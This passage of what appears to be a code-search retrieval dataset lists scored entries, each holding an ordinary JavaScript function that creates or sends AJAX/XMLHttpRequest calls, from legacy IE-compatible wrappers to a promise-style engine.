[\" + anUrl + \"]\", EBX_Logger.info);\n\t\t*/\n\n\t\t// POST\n\t\tvar questionMarkPos = anUrl.indexOf(\"?\");\n\t\tvar url = anUrl.substring(0, questionMarkPos);\n\t\tvar params = anUrl.substring(questionMarkPos + 1, anUrl.length);\n\t\tonXMLHttpRequest.open(\"POST\", url, true);\n\n\t\t//Send the proper header information along with the request\n\t\tonXMLHttpRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\n\t\t//Prevent IE from getting back request response from cache...Force request revalidation.\n\t\tonXMLHttpRequest.setRequestHeader(\"If-Modified-Since\", \"Tue, 29 Nov 1966 20:50:00 GMT\");\n\t\tonXMLHttpRequest.send(params);\n\t\tEBX_Logger.log(\"EBX_Ajax.execute: Request send at url [\" + url + \"] with params [\" + params + \"]\", EBX_Logger.info);\n\t};\n\n\tthis.getReadyState = function() {\n\t\treturn onXMLHttpRequest.readyState;\n\t};\n\tthis.getResponseXML = function() {\n\t\treturn onXMLHttpRequest.responseXML;\n\t};\n\tthis.getResponseText = function() {\n\t\treturn onXMLHttpRequest.responseText;\n\t};\n}", "title": "" }, { "docid": "559f8464e11066b12cdde4bddc1e2497", "score": "0.559358", "text": "function EBX_Ajax() {\n\tvar onXMLHttpRequest = false;\n\n\tvar finished = true;\n\tvar onTargetObject = null;\n\n\tthis.setFinished = function(hasFinished) {\n\t\tfinished = hasFinished;\n\t};\n\n\tthis.hasFinished = function() {\n\t\treturn finished;\n\t};\n\n\tthis.setReadyStateChangeObject = function(anObject) {\n\t\tif (!anObject instanceof EBX_AbstractAjaxResponseManager) {\n\t\t\tEBX_Logger.log(\"EBX_Ajax.setReadyStateChangeObject: Given object must implement Javascript prototype [EBX_AbstractAjaxResponseManager]\",\n\t\t\t\t\tEBX_Logger.error);\n\t\t\treturn;\n\t\t}\n\t\tonTargetObject = anObject;\n\t};\n\n\tthis.execute = function(anUrl) {\n\t\tthis.setFinished(false);\n\t\tif (onTargetObject === null) {\n\t\t\treturn;\n\t\t}\n\n\t\tif (window.XMLHttpRequest) {\n\t\t\ttry {\n\t\t\t\tonXMLHttpRequest = new XMLHttpRequest();\n\t\t\t} catch (e) {}\n\t\t} else if (window.ActiveXObject) {\n\t\t\ttry {\n\t\t\t\tonXMLHttpRequest = new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t\t\t} catch (e) {\n\t\t\t\ttry {\n\t\t\t\t\tonXMLHttpRequest = new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t\t} catch (e) {}\n\t\t\t}\n\t\t}\n\n\t\tif (!onXMLHttpRequest) {\n\t\t\treturn false;\n\t\t}\n\n\t\tonXMLHttpRequest.abort();\n\n\t\tonXMLHttpRequest.onreadystatechange = function() {\n\t\t\tif (onXMLHttpRequest.readyState == 4) {\n\t\t\t\tvar status = 400;\n\t\t\t\ttry {\n\t\t\t\t\tstatus = onXMLHttpRequest.status;\n\t\t\t\t} catch (e) {}\n\t\t\t\tswitch (status) {\n\t\t\t\t\tcase 200:\n\t\t\t\t\t\tif (onTargetObject) {\n\t\t\t\t\t\t\tonTargetObject.onReadyStateChangeFunction();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t// The real timeout code is 408 but Mozilla don't manage it correctly (do retry...).\n\t\t\t\t\t// The \"Unauthorized\" response code is not so far from a Timeout in this context.\n\t\t\t\t\t// (ex: \"Request unauthorized because of session timeout\")\n\t\t\t\t\tcase 401:\n\t\t\t\t\t\tif (onTargetObject) {\n\t\t\t\t\t\t\tonTargetObject.onManageTimeoutResponse();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t//Case of obsolete AJAX request. => do nothing\n\t\t\t\t\tcase 204:\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tif (onTargetObject) {\n\t\t\t\t\t\t\tonTargetObject.onManageErrorResponse();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t// Mantis #6349: POST method in ajax requests.\n\t\t// GET\n\t\t/*\n\t\tonXMLHttpRequest.open(\"GET\", anUrl, true);\n\t\t//Prevent IE from getting back request response from cache...Force request revalidation.\n\t\tonXMLHttpRequest.setRequestHeader(\"If-Modified-Since\", \"Tue, 29 Nov 1966 20:50:00 GMT\");\n\t\tonXMLHttpRequest.send(\"\");\n\t\tEBX_Logger.log(\"EBX_Ajax.execute: Request send at url [\" + anUrl + \"]\", EBX_Logger.info);\n\t\t*/\n\n\t\t// POST\n\t\tvar questionMarkPos = anUrl.indexOf(\"?\");\n\t\tvar url = anUrl.substring(0, questionMarkPos);\n\t\tvar params = anUrl.substring(questionMarkPos + 1, anUrl.length);\n\t\tonXMLHttpRequest.open(\"POST\", url, true);\n\n\t\t//Send the proper header information along with the request\n\t\tonXMLHttpRequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\n\t\t//Prevent IE from getting back request response from cache...Force request revalidation.\n\t\tonXMLHttpRequest.setRequestHeader(\"If-Modified-Since\", \"Tue, 29 Nov 1966 20:50:00 GMT\");\n\t\tonXMLHttpRequest.send(params);\n\t\tEBX_Logger.log(\"EBX_Ajax.execute: Request send at url [\" + url + \"] with params [\" + params + \"]\", EBX_Logger.info);\n\t};\n\n\tthis.getReadyState = function() {\n\t\treturn onXMLHttpRequest.readyState;\n\t};\n\tthis.getResponseXML = function() {\n\t\treturn onXMLHttpRequest.responseXML;\n\t};\n\tthis.getResponseText = function() {\n\t\treturn onXMLHttpRequest.responseText;\n\t};\n}", "title": "" }, { "docid": "795feec01871f86a326e29625cec1643", "score": "0.5544751", "text": "function init_ajax() {\n\t\tvar xmlhttp = false;\n\n\t\t//Test for IE\n\t\ttry {\n\t\t\txmlhttp = new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t\t} catch (x) {\n\t\t\ttry {\n\t\t\t\txmlhttp = new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t} catch (y) {\n\t\t\t\txmlhttp = false;\n\t\t\t}\n\t\t}\n\n\t\t//Chrome/WebKit\n\t\tif (xmlhttp === false && typeof XMLHttpRequest !== 'undefined') {\n\t\t\ttry {\n\t\t\t\txmlhttp = new XMLHttpRequest();\n\t\t\t} catch (z) {\n\t\t\t\txmlhttp = false;\n\t\t\t}\n\t\t}\n\n\t\treturn xmlhttp;\n\t}", "title": "" }, { "docid": "912a365f42b750ad7bfdccace1e2314c", "score": "0.5543825", "text": "function init() {\n\t\t\t// The private function init() Tests if the browser supports XMLHttpRequests or not.\n\t\t\tif (window.XMLHttpRequest) {\n\t\t\t\t_request = new XMLHttpRequest();\n\t\t\t} else if (window.ActiveXObject) {\n\t\t\t\t_request = new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "71b93d55ecea8479e8e4f22b77f05b6d", "score": "0.5513568", "text": "function _xhr() {\n var _a = request._options, url = _a.url, params = _a.params, stringifyOptions = _a.stringifyOptions;\n request._options.url = normalizeUrl(baseOrDefaults, url, params, stringifyOptions);\n return createXmlHttp(merge(defaults, request._options));\n }", "title": "" }, { "docid": "38545e95e647b31428faef16592b4e4b", "score": "0.5488059", "text": "function XHRClass(options) {\n //this.C = this.constructor;\n this.C = XHRClass;//less elegant alternative in case pre-ES6 browsers don't support constructor\n this.SuperClass.static_properties_init.call(this);//can be called only in a special way\n \n this.timeout = options ? options.timeout : this.C.timeout;\n \n //promise-like interface\n this._is_pending = false;\n this._is_fulfilled = false;\n this.on_settle = undefined;\n \n if (XMLHttpRequest) {\n this.xhr = new XMLHttpRequest();\n\t\t\n//\t\tthis._add_listener('loadstart', this._loadstart_handler);\n//\t\tthis._add_listener('progress', this._progress_handler);\n//\t\tthis._add_listener('readystatechange', this._readystatechange_handler);\n\t\tthis._add_listener('load', this._load_handler);\n\t\tthis._add_listener('error', this._error_handler);\n\t\tthis._add_listener('abort', this._abort_handler);\n\t\tthis._add_listener('timeout', this._timeout_handler);\n \n } else {\n this.log('error: XMLHttpRequest not available');\n }\n \n}", "title": "" }, { "docid": "83bef05de0463115267654c2240d833f", "score": "0.54871905", "text": "function request() {\n const ajax = new _ajaxRequest.default();\n return ajax.request(...arguments);\n }", "title": "" }, { "docid": "b63a0e7949d36dca2aba08d9c1eafaff", "score": "0.5477893", "text": "function ajaxNonceInterceptor() {\n // This interceptor is equivalent to the behavior induced by jQuery's $.ajaxSetup({cache:false});\n var param_start = /\\?/;\n\n return {\n request: function (config) {\n if (config.method == 'GET') {\n // Add a query parameter named '_' to the URL, with a value equal to the current timestamp\n config.url += (param_start.test(config.url) ? \"&\" : \"?\") + '_=' + new Date().getTime();\n }\n return config;\n }\n }\n }", "title": "" }, { "docid": "a94d431a83cb2b011e3744c7e6234339", "score": "0.5469625", "text": "createRequest(settings) {\n // PERFORMANCE HACK:\n // Reduce OPTIONS preflight requests by removing the Accept-Datetime header\n // on requests for resources that are presumed to have been time-negotiated\n if (this.negotiatedResources[this.removeQuery(settings.url)]) {\n settings.headers.delete('accept-datetime');\n }\n // Create the actual XMLHttpRequest\n const request = new XMLHttpRequest();\n const reqHeaders = settings.headers;\n request.open(settings.method, settings.url, true);\n request.timeout = settings.timeout;\n request.withCredentials = settings.withCredentials;\n reqHeaders.forEach((value, key) => {\n if (!(key in UNSAFE_REQUEST_HEADERS) && value) {\n request.setRequestHeader(key, value);\n }\n });\n // Create a proxy for the XMLHttpRequest\n const requestProxy = new events_1.EventEmitter();\n requestProxy.abort = () => {\n request.abort();\n };\n // Handle the arrival of a response\n request.onload = () => {\n var _a, _b;\n // Convert the response into an iterator\n const response = new stream_1.Readable();\n response.push(request.responseText || '');\n response.push(null);\n response.statusCode = request.status;\n response.responseUrl = request.responseURL;\n // Parse the response headers\n const resHeaders = this.convertRequestHeadersToFetchHeaders(response.headers);\n response.headers = resHeaders;\n const rawHeaders = request.getAllResponseHeaders() || '';\n const headerMatcher = /^([^\\n\\r:]+):[\\t ]*([^\\n\\r]*)$/gmu;\n let match = headerMatcher.exec(rawHeaders);\n while (match) {\n resHeaders.set(match[1].toLowerCase(), match[2]);\n match = headerMatcher.exec(rawHeaders);\n }\n // Emit the response\n requestProxy.emit('response', response);\n // If the resource was time-negotiated, store its queryless URI\n // to enable the PERFORMANCE HACK explained above\n if (reqHeaders.has('accept-datetime') && resHeaders.has('memento-datetime')) {\n const resource = this.removeQuery((_a = resHeaders.get('content-location')) !== null && _a !== void 0 ? _a : settings.url);\n if (!this.negotiatedResources[resource]) {\n // Ensure the resource is not a timegate\n const links = (_b = (resHeaders.get('link') && parseLink(resHeaders.get('link')))) !== null && _b !== void 0 ? _b : undefined;\n const timegate = this.removeQuery(links && links.timegate && links.timegate.url);\n if (resource !== timegate) {\n this.negotiatedResources[resource] = true;\n }\n }\n }\n };\n // Report errors and timeouts\n request.onerror = () => {\n requestProxy.emit('error', new Error(`Error requesting ${settings.url}`));\n };\n request.ontimeout = () => {\n requestProxy.emit('error', new Error(`Timeout requesting ${settings.url}`));\n };\n // Execute the request\n request.send();\n return requestProxy;\n }", "title": "" }, { "docid": "3dfdd219aa8bdec8ead0803138190a0b", "score": "0.54665965", "text": "function world_bank_api_hack() {\n\t$.ajaxSetup({\n\t beforeSend: function(xhr, settings) {\n\t var origCallback = settings.jsonpCallback;\n\t settings.url = settings.url.replace(/=jQuery/, \"=jquery\");\n\t window[origCallback.toLowerCase()] = function() {\n\t window[origCallback].apply(this, arguments);\n\t }\n\t }\n\t});\n}", "title": "" }, { "docid": "bb15848cec553b5c10c2da7f75ad07e4", "score": "0.5456548", "text": "function init_xhr() {\n if(window.XMLHttpRequest) {\n\treturn new XMLHttpRequest();\n }\n else if(window.ActiveXObject) {\n\treturn new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n}", "title": "" }, { "docid": "7ecf127150e0534474922a755daf0ac3", "score": "0.54564315", "text": "function fXMLHttpRequest() {\n\t\tthis._object = oXMLHttpRequest && !bIE7 ? new oXMLHttpRequest : new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\tthis._listeners = [];\n\t}", "title": "" }, { "docid": "7ecf127150e0534474922a755daf0ac3", "score": "0.54564315", "text": "function fXMLHttpRequest() {\n\t\tthis._object = oXMLHttpRequest && !bIE7 ? new oXMLHttpRequest : new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\tthis._listeners = [];\n\t}", "title": "" }, { "docid": "626c4cfe815d4332e78c886e32e8d8d5", "score": "0.5454162", "text": "function AjaxUtil(uri, mode, isAsync)\r\n{\r\n /************************************* Variables ***************************/\r\n this.httpObj = null;\r\n this.errorFunction = null;\r\n this.handlerFunction = null;\r\n this.beforeAction = null;\r\n this.afterAction = null;\r\n this.query = null;\r\n this.loadingImage = false;\r\n this.loadingImagePath = null;\r\n this.isHTML = false; \r\n /************************************* Variables ***************************/\r\n \r\n /************************************* Functions ***************************/\r\n this.makeAjaxRequest = makeAjaxRequest;\r\n /************************************* End ***************************/\r\n\r\n \r\n function makeAjaxRequest()\r\n {\r\n \ttry\r\n {\r\n if (this.query == null) this.query = \"\";\r\n if(this.errorFunction == null) this.errorFunction = function () {};\r\n this.isAsync = (isAsync == null) ? false: isAsync;\r\n this.mode = (mode == null) ? \"POST\" : mode;\r\n this.httpObj = new createHttpObject();\r\n if (this.httpObj)\r\n {\r\n if(this.loadingImage == true) createLoadingImg();\r\n if (this.beforeAction == null) { this.beforeAction = function () {}; }\r\n this.beforeAction(); \r\n if(this.isHTML == true)\r\n \tthis.httpObj.onreadystatechange = onReadyStateFunctionHTML(this.httpObj, this.handlerFunction)\r\n else\r\n\t this.httpObj.onreadystatechange = onReadyStateFunction(this.httpObj, this.handlerFunction)\r\n this.httpObj.open(this.mode, uri,this.isAsync);\r\n this.httpObj.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\r\n this.httpObj.send(this.query);\r\n if (this.afterAction == null) { this.afterAction = function() {}; }\r\n this.afterAction();\t \t \r\n return true;\r\n }\r\n }\r\n catch(ex)\r\n {\r\n \t this.errorFunction();\r\n return false;\t\r\n \t}\r\n }\r\n \r\n // this is the case where the response is html not xml\r\n //the other function will not work in this case because of the\r\n //test done in responseXML \t\r\n function onReadyStateFunctionHTML(httpObj, handlerFunction){ \r\n\t return function () {\r\n\t // If the request's status is \"complete\"\t \r\n\t if (httpObj.readyState == 4) \r\n\t {\r\n\t // Check that we received a successful response from the server\r\n\t if (httpObj.status == 200) \r\n\t {\r\n\t // Pass the XML payload of the response to the handler function.\r\n\t //responseXmlHandler(req.responseXML);\r\n\t responseXml = httpObj.responseXML;\t \r\n\t \t\t responseTxt = httpObj.responseText;\t \t \t\t \t \t\t \r\n\t\t if (handlerFunction == null) { handlerFunction = function() {}; }\r\n\t\t handlerFunction(responseTxt,responseXml);\r\n\t } \r\n\t else \r\n\t {\r\n\t // An HTTP problem has occurred\r\n\t alert(\"HTTP error \"+httpObj.status+\": \"+httpObj.statusText);\r\n\t document.location.reload();\r\n\t }\r\n\t }\r\n\t\tif(document.getElementById(\"loading\")!=null && document.getElementById(\"loading\").className == \"loadingImg\")\r\n\t\t\t{\t\t\t\t\t\t\r\n\t\t\t document.body.removeChild(document.getElementById(\"loading\"));\t\t\r\n\t\t\t}\t \t \r\n\t }\r\n\t } \r\n \r\n function onReadyStateFunction(httpObj, handlerFunction){\r\n\t return function () {\r\n\t // If the request's status is \"complete\"\r\n\t if (httpObj.readyState == 4) \r\n\t {\r\n\t \tif (this.afterAction == null) { this.afterAction = function() {}; }\r\n \t\tthis.afterAction();\r\n\t \r\n\t // Check that we received a successful response from the server\r\n\t if (httpObj.status == 200) \r\n\t {\r\n\t \r\n\t \tif(document.getElementById(\"loading\")!=null && document.getElementById(\"loading\").className == \"loadingImg\")\r\n\t\t\t\t{\t\t\t\t\t\t\r\n\t\t\t \t\tdocument.body.removeChild(document.getElementById(\"loading\"));\t\t\r\n\t\t\t\t}\t \t \r\n\t \t\r\n\t \r\n\t // Pass the XML payload of the response to the handler function.\r\n\t //responseXmlHandler(req.responseXML);\r\n\t responseXml = httpObj.responseXML;\r\n\t \t\t responseTxt = httpObj.responseText;\r\n\t\t if (handlerFunction == null) { handlerFunction = function() {}; }\r\n\t\t \r\n\t\t if(responseXml != null && responseXml.xml != \"\")\r\n\t\t \thandlerFunction(responseTxt,responseXml);\r\n\t\t else\r\n\t\t \t document.location.reload();\r\n\t } \r\n\t else \r\n\t {\r\n\t // An HTTP problem has occurred\r\n//\t alert(\"HTTP error \"+httpObj.status+\": \"+httpObj.statusText);\r\n\t document.location.reload();\r\n\t }\r\n\t }\r\n \t }\r\n\t }\r\n\r\n function createLoadingImg()\r\n {\r\n \tif(document.getElementById(\"loading\")==null)\r\n\t{\r\n\t\tvar divElt = document.createElement(\"div\");\r\n\t\tdivElt.className = \"loadingImg\";\r\n\t\tdivElt.id = \"loading\";\r\n\t\tvar pElt = document.createElement(\"p\");\r\n\t\tvar imgElt = document.createElement(\"img\");\r\n\t\timgElt.className = \"loadImgStyle\";\t\t\r\n\t\timgElt.src = (this.loadingImagePath != null) ? this.loadingImagePath : \"common/images/loading.gif\";\r\n\t\tdivElt.appendChild(pElt);\r\n\t\tpElt.appendChild(imgElt);\r\n\t\tdocument.body.appendChild(divElt);\r\n\t}\r\n }\r\n\r\n\r\n//Creates an HTTP Oject on different browser\r\nfunction createHttpObject() \r\n{\r\n try\r\n {\r\n //Used for Internet Explorer\r\n return (new ActiveXObject(\"Microsoft.XMLHTTP\"));\r\n }\r\n catch(exception)\r\n {\r\n try\r\n {\r\n //Used for Mozilla and others such as Safari, Opera...\r\n\t return(new XMLHttpRequest());\r\n\t}\r\n\tcatch(ex)\r\n\t{\r\n return false;\t\r\n\t}\r\n }\r\n}\r\n}", "title": "" }, { "docid": "c7ee912a0700056c0e72e8c4eccb78c8", "score": "0.5453737", "text": "function Ajax()\n {\n //Variáveis e objetos da classe\n\tthis.oParametros\t= new Parametros_Colecao();\n\tthis.oStatus\t\t\t= new AjaxStatus();\n\tthis.oAjax\t\t\t\t= null;\n\tthis.metodo\t\t\t\t= \"post\"\n\tthis.url\t\t\t\t\t= \"\";\n\tthis.getText\t\t\t= \"\";\n\tthis.getXml\t\t\t\t= \"\";\n\tthis.callBack\t\t\t= \"\";\n\tthis.Loading\t\t\t= \"\";\n\tthis.basePath\t\t\t= \"http://\"+ window.location.host ;\n\n\tvar oThis\t\t\t\t\t= this;\n //alert(\"oi: \"+this.basePath);\n\t//##### Método: CriarObjeto #####\n\tthis.CriarObjeto = function()\n\t{\n\t\t//Criando o objeto XMLHTTP\n\t\tif (window.ActiveXObject)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tthis.oAjax\t= new ActiveXObject(\"Msxml2.XMLHTTP.3.0\");\n\t\t\t}\n\t\t\tcatch(e)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tthis.oAjax\t= new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t\t}\n\t\t\t\tcatch(e)\n\t\t\t\t{\n\t\t\t\t\tthrow \"Não foi possível criar o objeto XMLHTTP\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if(window.XMLHttpRequest)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tthis.oAjax\t= new XMLHttpRequest();\n\t\t\t}\n\t\t\tcatch(e)\n\t\t\t{\n\t\t\t\tthrow \"Não foi possível criar o objeto XMLHTTP\";\n\t\t\t}\n\t\t}\n\t\tif (this.callBack != \"\")\n\t\t{\n\t\t\tvar oThis = this;\n\t\t\t\n\t\t\tif (typeof(this.callBack) == \"string\")\n\t\t\t{\n\t\t\t\tthis.callBack = this.callBack.substring(0,this.callBack.length-1) +\", oThis)\";\n\t\t\t\tthis.oAjax.onreadystatechange = function(){ eval(oThis.callBack) }\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthis.oAjax.onreadystatechange = function(){ oThis.callBack(oThis) }\n\t\t\t}\n\t\t}\n\t}\n\t\n\t\t\n\t//##### Método: Enviar #####\n\tthis.Enviar = function()\n\t{\n\t\t//Variáveis e objetos do método\n\t\tvar urlTmp\t= \"\"\n\t\tvar indx\t\t= 0;\n\t\tvar bitAsync;\n\t\t\n\t\tif (this.url == \"\") throw \"A url para envio não foi especificada.\";\n\t\t\n\t\tbitAsync\t= (this.callBack != \"\") ? true : false;\n\t\t\n\t\t//Cria o objeto XMLHTTP\n\t\tthis.CriarObjeto();\n\t\t\n\t\t//Abrindo a Div de Loading\n\t\tthis.AbrirLoading()\n\t\t\n\t\tif (this.metodo.toUpperCase() == \"POST\")\n\t\t{\n\t\t\tthis.oAjax.open(this.metodo.toUpperCase(), this.url, bitAsync);\n\t\t\tthis.oAjax.setRequestHeader('Content-Type','application/x-www-form-urlencoded');\n\t\t\t\n\t\t\tfor (indx = 0; indx < this.oParametros.length(); indx++)\n\t\t\t{\n\t\t\t\turlTmp += (indx == 0) ? \"\" : \"&\";\n\t\t\t\turlTmp += this.oParametros.getItem(indx).nome +\"=\"+ escape(this.oParametros.getItem(indx).valor);\n\t\t\t}\n\t\t\tthis.oAjax.send(urlTmp);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfor (indx = 0; indx < this.oParametros.length(); indx++)\n\t\t\t{\n\t\t\t\turlTmp += (indx == 0) ? \"?\" : \"&\";\n\t\t\t\turlTmp += this.oParametros.getItem(indx).nome +\"=\"+ escape(this.oParametros.getItem(indx).valor);\n\t\t\t}\n\t\t\tthis.oAjax.open(this.metodo.toUpperCase(), this.url + urlTmp, bitAsync);\n\t\t\tthis.oAjax.send(null);\n\t\t}\n\t\t//alert(this.basePath);\n\t\t//alert(this.url +\"/?\"+ urlTmp);\n\t\t//window.open(this.url +\"/?\"+ urlTmp);\n\n\t\t//Limpando o vetor de parâmetros\n\t\tthis.oParametros.Limpar();\n\t}\n\t\n\t//##### Método: VerificarStatus #####\n\tthis.VerificarStatus = function()\n\t{\n\t\tif (this.oAjax.readyState == 4 || this.oAjax.readyState == \"complete\")\n\t\t{\n\t\t\tthis.oStatus.numero\t\t= this.oAjax.status;\n\t\t\tthis.oStatus.mensagem\t= this.oAjax.statusText;\n\t\t\t\n\t\t\tif (this.oStatus.numero == 200)\n\t\t\t{\n\t\t\t\tif (window.ActiveXObject)\n\t\t\t\t{\n\t\t\t\t\tvar xmlDOM = new ActiveXObject(\"Msxml2.DOMDocument.3.0\")\n\t\t\t\t\txmlDOM.loadXML(url_decode(this.oAjax.responseText));\n\t\t\t\t\t\n\t\t\t\t\tthis.getText\t= url_decode(this.oAjax.responseText);\n\t\t\t\t\tthis.getXml\t\t= xmlDOM;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tthis.getText\t= this.oAjax.responseText;\n\t\t\t\t\tthis.getXml\t\t= this.oAjax.responseXML;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\talert('Número do erro:'+ this.oStatus.numero +'\\nDescição: '+ this.oStatus.mensagem);\n\t\t\t}\n\t\t\tthis.FecharLoading();\n\t\t}\n\t\treturn this.oAjax.readyState;\n\t}\n\t\n\t//##### Método: AbrirLoading #####\n\tthis.AbrirLoading = function()\n\t{\n\n\t\tif (this.Loading != \"\")\n\t\t\tvar objeDivLoading\t= document.getElementById(this.Loading);\n\t\telse\n\t\t{\n\t\t\tvar objeDivLoading\t= document.getElementById('divAjaxLoading');\n\t\t\tvar inteDivWidth\t\t= 83;\n\t\t\tvar inteDivHeight\t\t= 20;\n\n\t\t\tif (objeDivLoading == null)\n\t\t\t{\n\t\t\t\t//Criando a IDV 'divAjaxLoading' e configurando o objeto\n\t\t\t\tobjeDivLoading\t= document.createElement(\"div\");\n\t\t\t\tobjeDivLoading.id\t\t\t\t\t\t\t\t\t\t\t= 'divAjaxLoading';\n\t\t\t\tobjeDivLoading.style.width\t\t\t\t\t\t= '83px';\n\t\t\t\tobjeDivLoading.style.height\t\t\t\t\t\t= '20px';\n\t\t\t\tobjeDivLoading.style.backgroundColor\t= '#999999';\n\t\t\t\t//objeDivLoading.style.border\t\t\t\t\t\t= '1px solid #878D31';\n\t\t\t\tobjeDivLoading.style.color\t\t\t\t\t\t= '#FFFFFF';\n\t\t\t\tobjeDivLoading.style.textAlign\t\t\t\t= 'left';\n\t\t\t\tobjeDivLoading.style.verticalAlign\t\t= 'middle';\n\t\t\t\tobjeDivLoading.style.font\t\t\t\t\t\t\t= '10px Verdana';\n\t\t\t\tif (window.ActiveXObject)\n\t\t\t\t\tobjeDivLoading.style.position\t\t\t\t= 'absolute';\n\t\t\t\telse if(window.XMLHttpRequest)\n\t\t\t\t\tobjeDivLoading.style.position\t\t\t\t= 'fixed';\n\t\t\t\tobjeDivLoading.style.top\t\t\t\t\t\t= '0px';\n\t\t\t\tobjeDivLoading.style.right\t\t\t\t\t\t\t= '0px';\n\t\t\t\tobjeDivLoading.style.paddingTop\t\t\t\t= '2px';\n\t\t\t\tobjeDivLoading.style.paddingBottom\t\t= '2px';\n\t\t\t\t\n\t\t\t\tobjeDivLoading.innerHTML\t= '<img src=\"'+ this.basePath +'/estilo/img/loading.gif\" width=\"20\" height=\"20\" alt=\"Loading\" id=\"imgAjaxLoading\" /> Aguarde...';\n\n\t\t\t\tdocument.body.appendChild(objeDivLoading);\n\t\t\t}\n\t\t}\n\t\tobjeDivLoading.style.display = 'block';\n\n\t}\n\t\n\t//##### Método: FecharLoading #####\n\tthis.FecharLoading = function()\n\t{\n\t\tif (this.Loading != \"\")\n\t\t\tvar objeDivLoading\t= document.getElementById(this.Loading);\n\t\telse\n\t\t\tvar objeDivLoading\t= document.getElementById('divAjaxLoading');\n\t\t\n\t\tobjeDivLoading.style.display = 'none';\n\t}\n }", "title": "" }, { "docid": "37f4c083cf61042f1e1f0981bfe97c96", "score": "0.5450024", "text": "function fXMLHttpRequest() {\n this._object = oXMLHttpRequest && !bIE7 ? new oXMLHttpRequest : new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n this._listeners = [];\n }", "title": "" }, { "docid": "37f4c083cf61042f1e1f0981bfe97c96", "score": "0.5450024", "text": "function fXMLHttpRequest() {\n this._object = oXMLHttpRequest && !bIE7 ? new oXMLHttpRequest : new window.ActiveXObject(\"Microsoft.XMLHTTP\");\n this._listeners = [];\n }", "title": "" }, { "docid": "a830dbbfb69ca0011a40b7f0d4d52206", "score": "0.5449559", "text": "constructor() {\n this.init();\n this.bind();\n this.removeHeader();\n this.initKeyboardShortcut();\n\n this.filter = new JiraFilter();\n }", "title": "" }, { "docid": "5b06494765add1b1ee4a00cc1351a2c6", "score": "0.5440527", "text": "function microAjax(B,A){this.bindFunction=function(E,D){return function(){return E.apply(D,[D])}};this.stateChange=function(D){if(this.request.readyState==4){this.callbackFunction(this.request.responseText)}};this.getRequest=function(){if(window.ActiveXObject){return new ActiveXObject(\"Microsoft.XMLHTTP\")}else{if(window.XMLHttpRequest){return new XMLHttpRequest()}}return false};this.postBody=(arguments[2]||\"\");this.callbackFunction=A;this.url=B;this.request=this.getRequest();if(this.request){var C=this.request;C.onreadystatechange=this.bindFunction(this.stateChange,this);if(this.postBody!==\"\"){C.open(\"POST\",B,true);C.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\");C.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");C.setRequestHeader(\"Connection\",\"close\")}else{C.open(\"GET\",B,true)}C.send(this.postBody)}}", "title": "" }, { "docid": "c7602936d110d1356c9d0daf20aac2e0", "score": "0.5436532", "text": "function EngineWrapper(adapter) {\n var AjaxEngine = function () {\n function AjaxEngine() {\n _classCallCheck(this, AjaxEngine);\n\n this.requestHeaders = {};\n this.readyState = 0;\n this.timeout = 0; // 0 stands for no timeout\n this.responseURL = \"\";\n this.responseHeaders = {};\n }\n\n _createClass(AjaxEngine, [{\n key: \"_call\",\n value: function _call(name) {\n this[name] && this[name].apply(this, [].splice.call(arguments, 1));\n }\n }, {\n key: \"_changeReadyState\",\n value: function _changeReadyState(state) {\n this.readyState = state;\n this._call(\"onreadystatechange\");\n }\n }, {\n key: \"open\",\n value: function open(method, url) {\n this.method = method;\n if (!url) {\n url = location.href;\n } else {\n url = util.trim(url);\n if (url.indexOf(\"http\") !== 0) {\n // Normalize the request url\n if (isBrowser) {\n var t = document.createElement(\"a\");\n t.href = url;\n url = t.href;\n }\n }\n }\n this.responseURL = url;\n this._changeReadyState(1);\n }\n }, {\n key: \"send\",\n value: function send(arg) {\n var _this = this;\n\n arg = arg || null;\n var self = this;\n if (adapter) {\n var request = {\n method: self.method,\n url: self.responseURL,\n headers: self.requestHeaders || {},\n body: arg\n };\n util.merge(request, self._options || {});\n if (request.method === \"GET\") {\n request.body = null;\n }\n self._changeReadyState(3);\n var timer;\n self.timeout = self.timeout || 0;\n if (self.timeout > 0) {\n timer = setTimeout(function () {\n if (self.readyState === 3) {\n _this._call(\"onloadend\");\n self._changeReadyState(0);\n self._call(\"ontimeout\");\n }\n }, self.timeout);\n }\n request.timeout = self.timeout;\n adapter(request, function (response) {\n\n function getAndDelete(key) {\n var t = response[key];\n delete response[key];\n return t;\n }\n\n // If the request has already timeout, return\n if (self.readyState !== 3) return;\n clearTimeout(timer);\n\n // Make sure the type of status is integer\n self.status = getAndDelete(\"statusCode\") - 0;\n\n var responseText = getAndDelete(\"responseText\");\n var statusMessage = getAndDelete(\"statusMessage\");\n\n // Network error, set the status code 0\n if (!self.status) {\n self.statusText = responseText;\n self._call(\"onerror\", { msg: statusMessage });\n } else {\n // Parsing the response headers to array in a object, because\n // 